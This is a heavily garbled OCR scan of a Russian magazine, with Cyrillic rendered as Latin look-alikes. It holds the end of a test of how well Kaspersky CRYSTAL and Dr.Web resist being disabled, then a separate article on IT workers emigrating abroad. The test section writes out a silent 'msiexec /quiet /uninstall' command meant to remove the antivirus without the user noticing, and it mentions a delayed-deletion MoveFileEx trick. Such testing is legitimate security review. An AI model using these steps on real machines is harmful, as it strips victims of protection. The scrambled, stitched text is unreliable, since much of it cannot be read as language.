M CMOTPUM Ha pe3synbTaT. [Tocne ctapTa cuctemsl Kaspersky CRYSTAL
paboTaeT, kKak HM B YeM He bbiBano. 3anycTuACcs He TOIbKO CEPBHC C
npaBaMu CUCTEMbI, HO M MPOLLECC C MPUBUIETUAMUN TEKYLLENO NOJIb30-
BaTengd. [loxoxe, aTo nepeas natepkay Kacnepa. lMosgpasnsem!

C Dr.Web cutyaumsa uyTb xyxe. BnoknposaHue 3anycka dwengine.

exe HUKak He noBnusano Ha paboty [lokTopa, a BOT ecv nponucatb

B MONMNTUKAX MMSA CKaHepa, TO OH He 3anycTuTcs. Takum xe obpasom
napanusyetcs pabota SplDer Guard. Hukakue coobuieHuns npv 3anycke
Kakoro-Hubyab 310Bpefia Nofb30BaTeto nokasaHsl He byayT. Ho ctout
OTMETUTb, YTO 3aLUNUTHbIE YHKLMW aHTUBUPYC NOTEPSI HEe MOJIHOCTbIO.
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OTknrounMTe CaMo3aluTy

BeeauTe TeKCT, M300pameHHbI Ha KapTHHKE!

BawHo: Koraa CaMo3alnTa OTKAKYEHa,
3a4eM i noYyemy HYXXHO BBOAUTbL Kan4y u
OTKJ0YaThb camMo3alllnTy — HedcHo. [1polile

COrNacuTbCyd :

OH BbII'IOJ'IHl/lT,EI,eVICTBl/Iﬂ, 3aJ10KeHHbIe B HaCTpOPIKaX no

yMON4YaHuio, Hanpumep, bepexxHo nepeHeceT BUPYC B Ka-
PaHTWH, HO NoNb30BaTeNb 00 3TOM, K COXaneHuto, H1UYero
He y3HaeT. [lokTop Beb nonyyaet vetBepky.

TECT N25

B natom n nocnenHeM ncnbliTaHWM Mbl NOMNbITaEMCS NOJ-
HOCTbIO YyAaNUTb 3amTHOoe [10 ¢ NoMoLLbIO LUITAaTHOTO UHC-
TannsTopa. Ho ynanutb Tak, 4Tobbl noNb30BaTe b HUYEro
He 3aMmeTun. [pakTuyeckn y BCex COBPEMEHHbIX MHCTPY-
MEHTOB [/11 pa3BepPTbIBAHUSA MPUIOXKEHUI B CUCTEME eCTb
TaK Ha3blBaeMbl 1 «TUXUI PEXMM», KOTa N0ob30BaTeNto
He 3a/iaeTcs HMKaKMX TULLIHUX BonpocoB. BoT ¢ nomolLbio
9TOro pexvma Mbl byileM TecTMpoBaTh aHTUBYMPYChI.

[na «HeBnpgumoin» gennctannauymm Kaspersky CRYSTAL
HY>HO BbINOJHUTL CefyloLLyio KoMaHay: msiexec /quiet /
uninstall {TA59064A-12A9-469F-99F6-04BF118DBCFF}.
Knioy /quiet o3HauaeT, 4To Nofb30BaTeNb He YBUANUT HU
0[lHOTO OKHa, Kacalollerocs npouecca aHuHcTanna. ipeH-
TMbunKaTop B PUrypHbIX CKOBKaX yHMKANeH aas ycTaHoB-
nexHoro anctpubyTtrea Kpuctan. Mocne BbINOAHEHNS 3TOW
KoMaHbl Kacnepckuii He BblgaeT HUKakUX COOBLLEHMA,
KacawWwmxcsa NonbITKK ero yaaneHus, Ho U cama feuHc-
TannaumMs Kak TakoBas 3aBepluaeTcs Heyaadei. Kacnep
cnpaBuiCcs c UcnblTaHneM — De3 NMWHero WyMa oH npecek
NoMbITKY HECAHKLMOHMPOBAHHOTO yaaneHus. BTopas
naTepka.

[natectuposanus Dr.Web bbina BbinonHeHa Ta e KOMaH-
[a, C TOV NNLb pa3HuLeit, 4To bbin 3aMeHeH naeHTudUKa-
Top AncTpubyTnBa. Yepes HekoTopoe BpeMd nocie 3anycka
msSiexec ¢ Hy>XKHbIMV NapaMeTpaMu Ha aKpaHe NosiBUICS
LManor c NpefiiokeHNeM OTKIIOYNTb MOLY/b CaM03aLLnTbl
1 BBECTU Kanyy. B ciyyae npaBunbHoro Habopa undpo-
BOro koaa [JokTop ncuyesHeT c KoMMbloTepa Nosib30BaTeNs

Tect No1

(@ Dr.Web Cxanep gna Windows (o3naKomuTensHas)
Dain  HacTpoikk (oMol

Nposepka ] CTaTHETHRE ]

B 3TOM peNtMe NPOBEPAIOTCA:
THEHEA NaMATE:

3arpy304HLIE CEKTOPLI BLEX AHCKOB
OGLEKTEI BBTORANYCKA
KOPHEBOH KaTanor 3arpy304HOr0 AWMCKa

7 ANCKA YT Wi
CHCTemMHBI KaTanor Windows
Manka Mox AokymeHTel
BpeMEHHBIR KATANOr CHCTEMB!
BpeMeHHEI KaTanor Nonk308aTena

*

(¥ BricTpan nposepKa
€ MonHas Aposepka

7| Beifiopoo "

X EERESE

OfberT | myre | crarye | Aeiicrene |
BoigenvTE BLE | BuinEuMTE | [MepenMEHOBETE | [MepeEMECTHTE | YAanuTe I
LTI
Mpouecc & namath: C:\WINDOWS\Explorer EXE:440 |0 it 2010-06-16 (23:51) 1450631

CkaHep paboTaer. Bce uncro.

HaBcerga. To, uto dokTop Beb cnpocun paspelerns ob
OTKJI0YEHMM CaM03aLLnTbl — 3TO XOPOLLO, HO MJI0XO0, YTO

OH He Co0bLMA HAaM NPUYMHbI, MO KOTOPOI camMo3alunTa
oTKk/It0YaeTcs. HeonbITHbIV 03ep MOXET NofgyMaTb, H4TO Tak
HY>XHO, M C YMCTOW coBeCTbio BBecTM Kanuy. B utore Dr.Web
nosly4aeT TPOMKY, MOCKOIbKY HEMOHATHbIE OKOLLIKYM C HeMno-
HATHBIM TEKCTOM — [yPHOW TOH.

UToru

Ha aTom Bce. [1ATb y>KacHbIX UCMBITAHWIA NPOALEHbI.
HekoTopsble xyxe, HekoTopble nyylwe. Ho Hu Kaspersky
CRYSTAL, Hu Dr.Web Security Space Pro He cMoran caaTh
BCe TeCTbl Ha oTAnYHo. [Ina bonblueid HarNS4HOCTY MOXHO
nocMoTpeTh B TabnuLy ¢ oleHKaMu 1 BCMOMHMTb, Kak 3T0
Obl10.3C

KASPERSKY CRYSTAL VS DR.WEB

SECURITY SPACE PRO

Wrorn: [JokTop Beb okazancs ycTonumnBeit ko BCAKUM [eCTPYKTVBHbLIM BbINafam B ero

cTopoHy. OH xopoLLIo 33TV cBov Galinbl Ha ypoBHe PC 1 cMOr NpOTHBOCTOSATL Xec-
TokuM nonuTyrikaM besonacHoctvt Windows. A ero Mofy/b Camo3aLLImTbl He NO3BOAUT
310YMbILLNIEHHUKAM TVXO U HE3aMETHO YAaNNTb aHTUBMPYC.

Kacnepckwii cnpasuncs dyTb xy>e. [naBHol npobaeMoit st Hero cTan 3aMackmpo-
BaHHbIV BbI3oB MoveFileEx c dpnarom MOVEFILE_DELAY_UNTIL_REBOQT. torosas
olieHKka 3a kpalu-Tectuposarme: Kaspersky CRYSTAL — 3.6 banna, DrWeb Security
Space Pro — 4.4 banna.

Tect N22

Tect N23

Tect N24

Tect N25

Cpeanuii 6ann
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B B Mapus «Mifrill» Hedegosa mifrill@real.xakep.ru

MHI PA

U IT-LIHWKOB

CPEZIHEX NOJIOCbI

[JIE U KAK YKUBYT HALIM 3A TPAHULIEW

XOPOLLIO TAM, IZIE HAC HET

3Ty cTaThio BMOHE MOXHO bb110 Bbl Ha4aTb ¢ Npo-
CTPaHHbIX paccyxaeHuii o Tom, uto B Poccun nmeet
mecTo npobnema yteukn Mo3ros. K coxanexuio,
Halla c Toboii CeroaHsaWHsAA peasbHOCTb TakoBa,
4TO MOJIO[}blE M TANIaHT/IMBbIE CMeLManucTsl Bce
yalte beryT 3a pybexx B momckax yHdein KusHu.

M Mo>xHO bb110 BBl 10NTO pacTekaTbCs Mo Ape-

By, nepebupas npuumHbl, NpyBefLmne K TakoMy
nevyanbHOMY NOSTOXKEH IO BELLE, MLLa BUHOBATbIX
v Tak anee, Ho jaBali Npu3Haem — BCe 3T0 bblo
bl He CMLLKOM-TO MIHTEPECHO, Aia 1 YTUBO, B LieJIOM,
NoNY4MNock bbl rPYCTHOE, CNN He CKa3aTb, Aenpec-
cvBHoe. [103TOMy Mbl 11 peLUVNV 3aiT1 ¢ Apyroi
CTOPOHbI, 0CTaBMB MONCKM OTBETOB Ha V3BEYHbIe
BOMPOChHI «KTO BUHOBAT?» 1 «4TO ienaTh?» ApyruM.
Kak n3BecTHo, camMol 0CTOBEPHON U MHTEpPeCHO
Bcerzia sBnseTcs MHGopMaLms, NoydeHHas n3
nepBbIX PyK, Tak YTO Mbl HANpsiMyto noobLanics ¢
MOJI0AbIMU V1 He O4eHb [T-cneumnanmcTamu, kotopble
nepebpanvick 13 Poccui B caMble pasHble yrokiu
Mupa. Pebsta noBefanu Ham, noYeMy oHu yexanm
13 PO, pacckasanu, HackoNbKo CIOXHO UM Dbiso, 1
C KaKvMU NOLIBOAHBIMY KaMHSIM MPULLIIOCH CTONK-
HyTbCsi. [Tntoc K 3TOMy, Mbl OKYpUN GOpyMbl, B1ory
VI Mpoyvie nonesHble pecypcbl, B uTore cobpas Ais
Tebs ky4y camoil pa3Hoii MHpopmaLmu. Ha Bbixose
MONYYMACS, KOHEYHO, HE TO YTODbI MaHyan 13 cepum
«howto», Beib ABYX OfiMHaKOBbIX NyTEN B 3MUrpa-
LV He BbIBAET, ¥ BOCMOJb30BaTLCH Yy>KI M OMbITOM
yhaeTcs fianeko He Bcergia. Ho Bce xe sTa ctaThs
noMo>eT Tebe NOHSTH, C Kakol CTOPOHbI BoobLLIe
NOAXOAMTL K BONPOCY Nepeesfa B Apyryto CTpaHy, a
Tak>ke AacT HEKOTOPOE NpefCcTaBeH e 0 TOM, Kak
XuBeTcs poccuiickoMy IT-LwHYKy 3a pybexxom. Hy, a
€C/Vi Nepeesf, 3a rpaHuLly He BXOLAWT B TBOM M1aHbl,
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TO MOXeLLb OTHECTUCh K HUXKEN3NOKEHHOMY Kak K
o4epefiHo nepeaye TenekaHana Discovery :).

KAK UCKATb PABOTY 3A PYBEOM?

[Moxxanyi, 3To camblil KMBOTpeneLLyLLi BONpoc
LJ151 KaX/10T0 XKENAIOLLLETO «MOHAEXaTb»: Ie 1 Kak
nckatb paboty 3a npegenamu PO? BapuarTtos co-
THW, ¥ YHWBepCanbHbIX PeLLenToB 3AeCh HET, MHOToe
3aBUCKUT OT 0bpa3oBaHus, cneLunanvsaLmnm, onsiTa
paboTbl, 3HAHWS A3bIKOB 1 Tak fanee. OnaTb xe,
OJ1HO [1e/10, KOT[1a B TBOEM PACMOPSKEHNN MMeIoTCS
none3Hble 3aLenKu v CBs3U, U COBCEM AApyroe, eciy
vx HeT. ViTak, npeAcTaBMM, YTO UX HET — B TaKOM
cnyyae knasumatypy Tebe B 3ybbl, v Bnepes, — B CeTb.
HauvHaTb nomckm, KOHeYHO, CTOWT C CaliTOB BakaH-
CWIA, TPUTOM Kak 3apyDeskHbIX, Tak 1 pyCCKOS3bIYHbIX
[Ha KpynHbIx pecypcax Tvna hh.ru nybavkyetca
HEMao Cepbe3HbIX MPeJIoKeHNI N0 YacTh paboTh
3a rpanuuen).

[Mntoc, pa3y>X Tbl peLU BNOTHYIO 3aHATLCS
nonckamu paboTel, 3HAUUT, K ITOMY MOMEHTY Thl
HaBepHSIKa y>Ke OMPEeeNNCs CO CMINCKOM CTpaH-
KaHAWAATOB, KyAa X0Tenock bbl aMUrprpoBaTh. M3
3TOr0 TOXe MOXHO V3BeYb ONPeAEeNeHHYI0 BbIrOAy:
CKaxXeM, Tbl MeyTaellb yexaTb B ABCTPaMio; 3HAUNT,
MOKOMaiCs B MHETe 1 MOCTapaiica HaTV KOMbIOHUTY
PYCCKOSI3bIUHBIX «MOHaeXaBLUMX» B CTPAHY KEHTYPY.
B TakoM MecTe MOXHO He TONIbKO MoAYyYUTL MHPOP-
MaLLMI0 M3 NepBbIX PYK M y3HATb MHOXECTBO BaXHbIX
[leTanei, Ho 1 BIMOJIHE BEPOSTHO, YTO TaM yXe He

pas obcyxxaanvch TeMbl novicka paboTbl, noyyYeHus
paboyeli BI3bI, BIAA Ha XWUTENbCTBO M TaK Aanee.
CnoBoM, He 3abbIBall, 4To NpakTUyecku nobas nH-
bopMaLvs HaXoANTCS Ha PacCTOIHIM Napbl KIMKOB,
11 HY>XHO MPOCTO He JIEHNTLCS e UckaTb.

Kcrtatn, Bonpocsl aMurpaumu, novicka pabotsl,

odopMeHus Bymar v uxe C HUMU 04eHb 4acTo
MOAHVIMAIOTCA Ha KPYMHbIX TYPUCTUYECKMX NopTa-
nax, spoge popyma Bunckoro (http://forum.awd.
ru/), Tak 4To Ans 06LLEro Pa3BUTIA Ty TOXKE CTOUT
3arNAHyTb.

Hy 1, KoHeu4Ho, He cToMT 3abbIBaTh 0 KaLPOBbIX
areHTCTBaXx, XOTs 3TO Nasika 0 ABYX KOHLLAX, U Kaxabli
pellaeT caM, CTOWUT I C HUMW CBA3bIBaTbCA. «[Toye-
My?» — CnpocuLWb Tbl. [103B0/b B OTBET MPOLMTHPO-
BaTb Tebe MHeHwe Kpyica Kacnepcku, koTopblii Ha
paboTe 3a rpaHuLLen cben cobaky:

«CBA3bIBATLCSA C KALPOBbLIMU areHTCTBaMM S IMYHO
He pekoMeHzyto. [leno B ToM, YTO OHM paccuymnTa-

Hbl Ha MOTOK, TO eCTb bepyTcs 3a camble Nnerkue
BapMaHTbl, @ 0CTaIbHbIM YaCTEHBKO 0TKa3blBaIoT.
lnioc, o4eHb MHOTO B 3TOM Cpefie KAanosa, Tak yto
y MHorvx paboTofiaTeneit fosepus K areHCTBaM Toxe
HeT. Hy, 370 kak cyx6bl 3HaKOMCTB :).

A camblii npocToit cnocob novicka paboTsl — ferc-
TBOBaTb Yepes CcanTbl camux upM. Ha kaxom
caliTe yBaxatoLLiel cebsi KoMnaHum, BHe 3aBuCH-
MOCTW OT ee pa3mepa, eCTb pa3fief «kapbepa». U
[laxKe ecnv NoAXOASALLMX Tebe No3nUNA TaM HeT,
BO3MOXHO, HaNWCaTb M BCe PaBHO CTOUT, BeAb Mof,
XOPOLUVX NIt0fe BakaHCKK OTKPbIBAOTCH MO Mepe
NOCTYNNeHUS».

Kpuc fiaeT o4eHb AenbHbIi COBET: MOMUMO «pa-
BOTHbBIX» CalTOB, AENCTBUTENBHO, CTOUT 0bpaTHTL
BHVIMaHWe 1 Ha pa3fesibl BakaHCKIA Ha caliTax
[T-koMnaHwWA.

[naBHOE, NOMHM — Nepef TeM, Kak HauMHaTb

BCIO/ly pacchbinaTh CBOe pe3ioMe, ybeanch, 4To OHO
NpaBWIbHO COCTaBfeHO. 3T0 HaCTosALLas Hayka, 1
NpUHATLIE y HAaC dopMaThl pe3ioMe CyLLLeCTBEHHO
OTNIMYaLOTCS 0T 3apybexkHbIX. Tak 4To B 3TOM BOMpo-
ce, BO3MOXHO, Kak pa3 CToWT NpunberHyTb K NoMoLLu
npodeccroHanoBs 1 3annatuTb UM geHer, 4Tobbl
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®YTYPUCTHYHbIA CUHTANYP

MOYEMY OHU YE3WAIOT?

CAMbIi NMEPBbIA BONPOC, KOTOPbIA OBbIYHO 3ABAKOT BCEM IMUTPAHTAM: «4TO
MOBYAWNO0 BAC NOKWUHYTb POAHYIO CTPAHY?». BOT YTO HA 3TO OTBEYAKT 3MUI-
PUPOBABLUWE 3A TPAHWLY AUTHLIHUKH:

* B nounckax nyylleit 3apnaatel U KapbepHOro pocTa He XoTenoch nepebuparbes U3 pervo-

HOB B «Hepe3nHoBble» MockBy naw lNuTep, NoaToMy BbIOOP Nan Ha «3arpaHuLLy».

* B Poccuu BoobLe HeT gocToliHol paboTsl B IT-cdepe.

* /IMes BO3MOXHOCTb nepebpaTtbcs B CTPaHy C yYLliMM YPOBHEM XM3HM 1 3aHNUMATbCS TaM
MHTEPECHbIM, NepCrekTUBHbIM LEe/I0M, FPex el He BoCnosb3oBaThes. A Takoro poga Bo3-

MOXHOCTb, TeopeTn4eckun, ectb y noboro xopowlero cneumnanncra.

e XoTenoch NMOCMOTPETb MUP M MoKa3aTb cebq.

* BLOXHOBW MpUMep 3HaKOMbIX/gpy3et.

e [locTynuno 3aMaHy4vBOE NpeanoXeHne U3 KpynHoi IT-komnanuu.

Bbinn, koHevHo, n Apyrne BapuaHTbl OTBETOB. HaanMep, KTO-TO UCKan J'Iyl‘JLLIeVI KN3HU U

cTabunbHoCTK ongd ceba n CeMbW, a KTO-TO U BOBCe, CﬂyHaPIHO CTONIKHYBLUWNCb C AOCTATOYHO

MonoabiM Onga Poccumn aeneHmnem ,EI,ayHLLIl/ICle/IHI'a, pewwnn nonbiTate CHacCTbA [B OCHOBHOM

3TO KacaeTcsl ayTCoPCepoB, XXMBYLLMX B cTpaHax Asnu).

NOTOM He NMPULLIOCH YANBAATLCS: «[Touemy MHe
NPUXOLAMNT Tak Mano OTKIMKOB?!».

A3WA W AYTCOPCEPBI

HayHeM, noxanyi, c camoi bosbLwoi YacTv cBe-
Ta, KOTOpas Nofib3yeTCH OrPOMHOI MOMNYASAPHOC-
Tblo Yy aMUrpaHToB BoobLe 1y Hawero IT-wHoro
BpaTta B uYacTHOCTU — C A3un.
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A3naTckue CTpaHbl BOBCE He CIly4aliHo Tak npu-
BJIEKaloT ncKaTesell NIyyLei XU3HWU; 4,eNo BTOM,
4TO Nocne «cHexHol Poccrmn» Hapog 3avacTyto
CTPEMUTCH K TNy, v B UTore BoIGOp MHOTMX NtofeN
ocTaHaBnuBaeTcs Ha Tannarge, uanu, Mapaune,
Manaiiaun v tak ganee. OnaTb ke, NOAYUUTb BU3Y
B HEKOTOPble a3uaTcKue CTpaHbl He B PUMEp Npo-
Lie, YyeM B cTpaHbl EBponbl v CesepHoit AMepu-

KW, @ BNOC/eACTBMM TaM MPOLLLE 0CTaTbCs COBCEM.
Hy, a noM1Mo knrmata 1 oTcyTCTBMA Npobaem

c bymaramu, ete ogHUM BeCCnopHbIM MICOM
CTaHOBWTCS fellieBU3Ha, KOTopas 3aMeTHa NoYTH
BO BCEM, HAYMHasA OT LIEH Ha XWJIbe 1 3aKaHUYMBas
efoi. LleHbl B HeKOTOpbIX yrofikax 3Toi 4acTu
CBeTa BMOJIHE MOTyT BBEPrHYTb MOCKBMYA UK
neTepbypxLa B HEKOTOPLI CTYNOp.

YT106bl He BbITh FON0CNOBHBIMY, NPUBEAEM
npvMep. Y Hallero Koanerv, pefakropa xxypHana
Hard'n'Soft EBrenus lNeTpoBsa, uMeeTcs onbIT
NpoXuBaHus 1 paboTsl B VIHAWK, 1 BOT 4TO OH HaM
nosepan:

«Bce aTv luTaMnbl «o caMoi rpa3HoN cTpaHe
MVpa» 1 «paccagHyvike 3apasbl» He MeloT Hu4Yero
06LLEero C 1eVICTBUTENIBHOCTbIO (Hy €CNN, KOHEUHO,
CeUTLCS He B NOMHbIX Tpywo6ax). Mbl — Tunnu-
Has ropofickas CeMbsl, MPUBbIKLIAS K HEKOTOPOMY
MUHVManbHOMY KOMbOPTY, M03TOMY He cobupa-
JINCh ye3XaTb «X0Tb Kyfa-HUbyAb».

C dMHaHCOBON TOUKM 3pEHNS HAC NOAKPe
Hanu4ne cAaBaeMol B apeH/y MOCKOBCKOM
TpeLKN U AncTaHumorHas pabota Ha Hard ' n'Soft.
Mbl loroBopuanch ¢ pefakumeit xypHana, 4To g
MOry nepeTy Ha MOIHOCTbIO yaaneHHyto paboTy.
B nepuop kpu3svca 31o 6bin 3aMeyaTesbHbI
KOMMPOMKCC it 06enx CTOpoH :J.

MTak, 28 oktabps 2009 rofa Mbl Npr3emMannmncs 8
ropoae TxupyBaHaHTxanypam (1nv npoue — Tpu-
BaHapyM) — cTonuue wrata Kepana. 310 oy
Ha camom tore MiHaun. OtTyaa ewe 40 kM BBEpX 0
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MAZIPU], UCTIAHKA

mecTeuka Bapkana. TaM Mbl HaLAV NPUANYHBIA
L,OM: YeTbIpe CnasibHu, KyXHsi, napa Teppac, Xonn,
cTonosas v np. B obuiem, HopmansHoe xunuule (8
Poccum a Takoro cebe no3sonuTs He Mory).
Mockonbky oHO Bbino B 20 MUHYTax Xxof60b1 0T
okeaHa, MecauHan apen/a coctasuna $185, npu
yCnoBMM onnaTkl 3a nonrofa Brepef. Xopolne
[0Ma psifoM ¢ okeaHoM obownuce 6l 8 $300-
$500, B 32BMCUMOCTV OT NAOLIAAN, KAAHOCTM
X039€B W yMeHusa ToproBaTbcst. Ewe okono $30 8
MeCsiLLyXOf M0 Ha OMnnaTy cBeTa 1 rasa.

EnaTam pewesas. Y Hac Bbixoauno okono $200 Ha
BCeX, 1 370 BK/I10Yas AOBOJIbHO YacToe nocetle-
H1e NpubpexHbIX pecTopaHoB. MecTHas KyxHs
0YeHb BKyCHasi U pa3HoobpasHag, He roBops yx

0 CBEXECTU U AeNINKaTeCHOCTY OTAeNbHbIX Do,
[ins camMoCToSTENbHOI FOTOBKM TOXE €CTh NMOYTH
BCe NPOAYKTbI, KpOME, MOXET BbiTb, rpeyKm 1
HOpManbHOro Chipa.

MblI Kynuav CUNbHO NOAEPXKaHHbI, HO BNOSTHE
pabounii ckytep 3a $350. Ha Hem 6bino croapyy-
Hee BCeM BMNATepPOM J,0bMpaThbCs 10 NAsXa 1 He
ToNbKo. B MarasuH taM cbesnunTh, 1K Ha CioHax
nokaTtaTbcs — o4eHb yaobHo. B TakoM Buae Mbl
CTasv MECTHOW AOCTONPMMeYaTeNbHOCTbIO, Aaxe
HEeCMOTPS Ha TO, YTO TpeMsA-YeTbIpbMs MHAYyCaMK
Ha OLHOM MOTUKE HUKOTO He yANBULLL :).
KoHeuHo, Hy>XHO y4nTbIBaTb, YTO BCE OMMUCaHHOE
0THOCUTCS K CEMelIHOMY oceafioMy BapuaHTy. Bce
0YeHb pa3MepeHHo 1 cnokoiHo. [ins nobuteneit
MoTyCcOBaTbCS 3T0, KOHEYHO, He To MecTo. Ho oau-
HOKOMY HENpPUTA3aTeIbHOMY MOJIOLOMY YESI0BEKY
TaM BMOJIHE JIErKO MOXKHO HaTW ONPATHYI0 KOMHa-
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Tywiky Ha nobepexse 3a $70-$100 & Mecau. Hy n
Ha nuTaHue ByeT yxoAuTb NPYMEPHO CTOMBKO Xe.
XoTs ecnu xoueTcs NyTeLlecTBOBaTh, NepeMe-
LaTbCsH — TYT y>ke HeMHOro apyrue bropxeTsl. Bce
e CTpaHa HemasleHbKas».

OT cebs 3amMeTuM, 4TO HaWTK paboTy Henocpeac-
TBEHHO B IHAMW KpaliHe TpyAHO, U 3apnnaTa 8
$500-$700 tam cuntaeTca xopouwei. B ceete
3TOro COBCEM HEYAMBUTENBHO, YTo VIHAMO B Yac-
THOCTV 1 CTpaHbl A311 B LLeNIOM Tak II00AT 1 LieHsT
yLhaneHuku, paboTatwLine Yepes MHTEpHET.
Bnpoyem, He byaem 3abbiBaTh 0 TOM, Ha Teppu-
Topuv A3nn pacnonoxeHo Lenbix 53 rocyaapc-
TBa, V1 [lasIeKo He BCE OHW CTOJIb MPUBET/IMBbI K
NMMUrpaHTam. B3ate xoTsa 6bl Kutaii n Anoxuio, B
KOTOPbIX BCE KapAVHabHbIM 0bpa3oM oTanyaeTcs
OT BbILLIEOMWCAHHOTO.

3peck pabota ans IT-LWHMKOB TOXe UMeeTCs, HO
YK€ HECKOJBbKO MHOT0 COpTa — Clofla CTpeMATCs

1 MIONafialoT B 0CHOBHOM CMeLManvcTbl IeNCTBU-
TENIbHO BbICOKOTO K/1acca (B 4acTHOCTH, MMeeTcs
MOYTW BeYHas HexBaTKa TaNaHTAVBbIX MHXeHe-
poB). YpoBeHb LieH B MBUIN30BAHHbIX MECTax
BocTouHot 1 HOro-BoctouHo i A31n Ha nopsaok
BbilLe (@ B HEUMBUAN30BAHHbBIX Thl BPSIA NN
3axoyelllb CennTLCA), 1 1a-Aa, 30eCh YepTOBCKM
TeCHO — nepeHaceseHue, 3Haelb in; Ha BocToke
Topumnt noutr 60% BCero yenoBeyecTsa.

YexaTb paboTaTb B BbICOKOTEXHONOTMYHbIE CTPAHbI
BocTtoka HenpocTo, ecnv Tbl, KOHEYHO, HE ayTCOp-
cep-aayHwnTep, nTebe He BCe paBHO, FAe Haxo-
AMTbCS, NULWb Bbl ypoBeHb LieH 1 komdopTa Tebs
ycTpaviBas. To ecTb, BPSA IV Thl CyMeellb HallTh

B
BU3UTHAA KAPTOYKA JIOHIOHA —
JBYXbAPYCHbI ABTOBYC

Cepbe3Hyto, XOPOoLLOo OMnnavynBaemyio LONXKHOCTb
Ha ToM xe nobepexbe Knutas, B Typuctunyec-
KO-KypOpTHOW 30He, B To BpeMs kak LLlaHxait,
MeknH 1 XapbuH, roe pacnonoxeHsl npeacra-
BUTENbCTBA MHOMMX KOMAaHWUI-MOHCTPOB IT,
BCerfa HaxoAsaTCs B MOVICKe CBET/IbIX YMOB.
[naToro, uTobel nepebpatbes cloga bonee
0CHOBaTeNbHO, NOHaA0bATCA cepbe3Hble
TanaHTbl, XenaHue v ynopcTBo, HeMasno BO3HM

c bymaramu, a Takxke NpuAETCS Y4NTb MECTHbIN
A3bIK, TAK KakK 0HWM aHTIMINCKMM 3[eCh yxe

He oboifeLwbes. XoTsa, noBToprMcs, paboTa
34,eCb UMeeTCs, 1 ee LeCTBUTENbHO MHOTO,
npocTo Beb-MmacTepo v SEO-cneumnanncros Tyt
XBaTaeT v CBOUX 1.

Ecnu xe roBoputs 06 okoH4YaTenbHOM Nepeesfe
Ha [MM>XX n nony4eHnn rpaxaaHcTea, To 370
B006LLe OrpOMHas CIOXHOCTb — Hanpumep,
nporpaMMm MMMUrpaLmmn B AnNoHMM npakTnyec-
KV HeT, Tak YTo HaTypanuaaums, no bonbLiomy
cyeTy, BO3MOXHa Tosbko Yepes bpak. B utore
BONBLWMHCTBO MPOXMBAIOLLMX B CTPAHE BOCXO-
asaulero conHua IT-WwHMKoB XMBYT no paboyeit
BU3e, NPOAJISS ee, UV Xe HaxoaaT ydebHble
BapUaHTbl — MOXHO NMOCTYNUTb B AMOHCKWMIA BY3,
nocne yyebbl ocTaTbCs Ha CTaXkMpOBKY, a Aanblue
— rSAWLWb, U xopoluas paboTta HalgeTcs.

EBPOIA — BOTATCTBO BbIEOPA

EBpona, kak YacTb cBeTa, He HAMHOO MeHbLUe
A3nn — 3710 45 rocyfapcTs, KOTOPbIe CUABHO
pas3HATCs No BceM napameTpaM. B aToii cBA3u
KpaTko 0bprcoBaTh, KaKOBO 3TO — «XWTb B EB-
pone», B[, M BO3MOXHO, BE[lb YDOBEHb LiEH,
YPOBEHb XXW3HU 11 MHOTWE Apyrue ¢akTopbl MOryT
CUNbHO BapbMPOBaTbCs laxe B Npejenax ofHoN
cTpaHsl (a To v ropoaal.

EBpona npusnekaet IT-lWHNKOB BCex MacTel,
4TO A,OBOJIbHO JIOMMYHO, BEAb OHa MHOTOHALM-
OHaNbHa v BecbMa ToslepaHTHa. [1pu xenaHuu
3/eCb HalleT CBOe MeCTO 1 KapbepuCT, MeyTato-
LM 0 NpecTuKHON paboTe B TonoBoit IT-koM-
naHuy, 1 CKPOMHBIN yAaneHWwyK, uilyLimnin bnar
LUMBWUAM3ALMM, HO B TULLMHE 1 MOKOE.
CkasblBaeTcs, KOHEYHO, ¥ OTHOCUTENIbHAS
6nnzocTb PoavHbl — Bce e cneTath u3 JloHpoHa
nnn Magpuaa B Poccnio, 4tobbl HaBeCTUTh
POAHbBIX W ipy3eii unu pasobpaTtbes ¢ genamu

— Kyfa bnvxe v fewesre, HEXeNu, K npumepy,
c banw.

[MepebupaTb BCe 45 rocynapcTs M 0bCTaHoOBKY B
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HWX Mbl, KOHEYHO, He DyieM, HO MO HEKOTOPbIM
BCe e npovgemcs.

Ha BputaHckux ocTpoBax ceilyac Bce A0BOSIbHO
TOCKANBO.

Wpnanausa, roe ewe 3-5 neT ToMy Hasag bbiio
Hemano pabotsl B IT-chepe, cerofHa Bpsg nu
CMOXET 4eM-To mopafoBaTh. «[MHHec», [lybnun
n [enb CaaATtoro MaTtpuka — 310, KOHEUHO,
KpyTo, HO ToNbKo NepBoe Bpems. [ToToM xe, kak
noka3sblBaeT NpakTuKa, CTAaHOBUTCS CKYYHO U
rpYCcTHO — paboTsl ceitvac noyTh HeT (mocneac-
TBWS KpU3Kca), LeHbl KycaloTcs, Aa U KnymaT Ha
nobutens.

Bputanus, pasHo kak v ®paHumns, n bes Toro
HaBOJHeHa «MoHaexaBLMK», a HeJaBHVE U3-
MEHEHWS B 3aKOoHax 06 MMUrpayun yapyyatoT
— cel4yac NpakTM4eckn HEBO3MOXHO NpeacKa-
3aTb, 4TO DyfeT Yepes HeCKOJIbKO JIET, 1 MO Kak1UM
npaswunam byayT gaeatb [TMX 1 rpaxaaHcTso.
KTomy e, 3pecb HeflaBHO MOAHANV NAAHKY ANS
nonyyenus paboyeri Bu3bl Tier 1, yem noytn
NOJIHOCTbIO 3apybunu nofayy AOKYMEHTOB U3

LOKYMEHTaMu], Tak 4To Ans nonyyenns pabodei
BU3bl NoTpebyeTcs npurnaleHne 0T Cepbe3HOro
pabotogatensd. [MonyunTs BUA Ha XXUTENBbCTBO
TPYLHO, FPaxAaHCcTBO — ellle cnoxHee. LleHbl B
Mcnanun — ato yto-To cpepHee Mexay [Mutepom
n Mocksoi. Hanpumep, cbeM bonee-meHee npu-
MYHOM xunnnowaan 8 Magpuae obonperca
Tebe 8 800-1000 eBpo B MecsL, HO B NPUropoge
MOXHO nojblckaTb BapuaHT 3a 500 espo.

A BoT [epMaHua B HallK Henerkve BpeMeHa
4yBCTBYEeT cebsi XOpoLLO ¥ BMOJIHE YBEPEHO.
Ecnu Tbl cneauilb 3a MUPOBBIMU HOBOCTSMU, TO
3Haellb, YTO HOBOWCIEYEeHHble eBpoOneiickue
«CTpaHbl-baHKpPOTbI» BPOCUANCH NPOCUTL MOMO-
ww kak pasy OGP

PaboTa pns TexHapeli 3geck ecTb, bosnee Toro,
ecnv Tebsa npurnalwaeT Hemeukas drpma, npu
3TOM Cpa3y AaeTcs BUL Ha XUTEbCTBO (Ha
BpeMs paboTel). Mpasaa, B ciyyae paccrasaHus
